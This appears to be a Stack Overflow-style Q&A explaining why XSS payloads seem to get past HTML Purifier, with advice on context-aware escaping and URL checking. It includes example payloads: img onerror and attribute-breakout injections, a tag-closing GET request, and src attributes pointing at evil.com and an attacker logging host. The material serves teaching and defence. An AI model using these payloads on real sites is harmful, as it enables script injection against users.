即使在使用HTML Purifier之后，XSS漏洞仍然存在

All the HTML purifier seems to be doing, from the brief look that I gave, was HTML encode certain characters such as <, > and so on. However there are other means of invoking JS without using the normal HTML characters:

javascript:prompt(1)  // In image tags
src="http://evil.com/xss.html"  // In iFrame tags

Please review comments (by @pinkgothic) below.

Points below:

1. This would be HTML injection which does effectively lead to XSS. In this case, you open an <img> tag, point the src to some non-existent file which in turn raises an error. That can then be handled by the onerror handler to run some JavaScript code. Take the following example:

<img src=x onerror=alert(document.domain)>

The entrypoint for this it generally accompanied by prematurely closing another tag on an input. For example (URL decoded for clarity):

GET /products.php?type="><img src=x onerror=prompt(1)> HTTP/1.1

This however, is easily mititgated by HTML escaping meta-character (i.e. <, >).

2. Same as above, except this could be closing off an HTML attribute instead of a tag and inserting its own attribute. Say you have a page where you can upload the URL for an image:

<img src="$USER_DEFINED">

A normal example would be:

<img src="http://example.com/img.jpg">

However, inserting the above payload, we cut off the src attribute which points to a non-existent file and inject an onerror handler:

<img src="1"onerror=alert(document.domain)">

This executes the same payload mentioned above.

Remediation

This is heavily documented and tested in multiple places, so I won't go into detail. However, the following two articles are great on the subject and will cover all your needs:

1. https://www.acunetix.com/websitesecurity/cross-site-scripting/
2. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

(This is a late answer since this question is becoming the place duplicate questions are linked to, and previously some vital information was only available in comments.)

HTML Purifier is a contextual HTML sanitiser, which is why it seems to be failing on those tasks.

Let's look at why in some detail:

1<img sRc='http://attacker-9437/log.php?

You'll notice that HTML Purifier closed this tag for you, leaving only an image injection. An image is a perfectly valid and safe tag (barring, of course, current image library exploits). If you want it to throw away images entirely, consider adjusting the HTML Purifier whitelist by setting HTML.Allowed.

That the image from the example is now loading a URL that belongs to an attacker, thus giving the attacker the IP of the user loading the page (and nothing else), is a tricky problem that HTML Purifier wasn't designed to solve. That said, you could write a HTML Purifier attribute checker that runs after purification, but before the HTML is put back together, like this:

// a bit of context
$htmlDef = $this->configuration->getHTMLDefinition(true);
$image   = $htmlDef->addBlankElement('img');

// HTMLPurifier_AttrTransform_CheckURL is a custom class you've supplied, 
// and checks the URL against a white- or blacklist:
$image->attr_transform_post[] = new HTMLPurifier_AttrTransform_CheckURL();

The HTMLPurifier_AttrTransform_CheckURL class would need to have a structure like this:

class HTMLPurifier_AttrTransform_CheckURL extends HTMLPurifier_AttrTransform
{
    public function transform($attr, $config, $context) {
        $destination = $attr['src'];
        if (is_malicious($destination)) {
            // ^ is_malicious() is something you'd have to write
            $this->confiscateAttr($attr, 'src');
        }
        return $attr;
    }
}

Of course, it's difficult to do this 'right':

• if this is a live check with some web-service, this will slow purification down to a crawl
• if you're keeping a local cache you run risk of having outdated information
• if you're using heuristics ("that URL looks like it might be malicious based on indicators x, y and z"), you run risk of missing whole classes of malicious URLs

1"onmouseover=vVF3(9185)"

HTML Purifier assumes the context your HTML is set in is a <div> (unless you tell it otherwise by setting HTML.Parent).

If you just feed it an attribute value, it's going to assume you're going to output this somewhere so the end-result looks like this:

...
<div>1"onmouseover=vVF3(9185)"</div>
...

That's why it appears to not be doing anything about this input - it's harmless in this context. You might even not want to strip this information in that context. I mean, we're talking about this snippet here on *, and that's valuable (and not causing a security problem).

Context matters. Now, if you instead feed HTML Purifier this snippet:

<div class="1"onmouseover=vVF3(9185)"">foo</div>

...suddenly you can see what it's made to do:

<div class="1">foo</div>

Now it's removed the injection, because in this context, it would have been malicious.

What to use HTML Purifier for and what not

So now you're left to wonder what you should be using HTML Purifier for, and when it's the wrong tool for the job. Here's a quick run-down:

• you should use htmlspecialchars($input, ENT_QUOTES, 'utf-8') (or whatever your encoding is) if you're outputting into a HTML document and aren't interested in preserving HTML at all - it's unnecessary overhead and it'll let some things through
• you should use HTML Purifier if you want to output into a HTML document and allow formatting, e.g. if you're a message board and you want people to be able to format their messages using HTML
• you should use htmlspecialchars($input, ENT_QUOTES, 'utf-8') if you're outputting into a HTML attribute (HTML Purifier is not meant for this use-case)

You can find some more information about sanitising / escaping by context in this question / answer.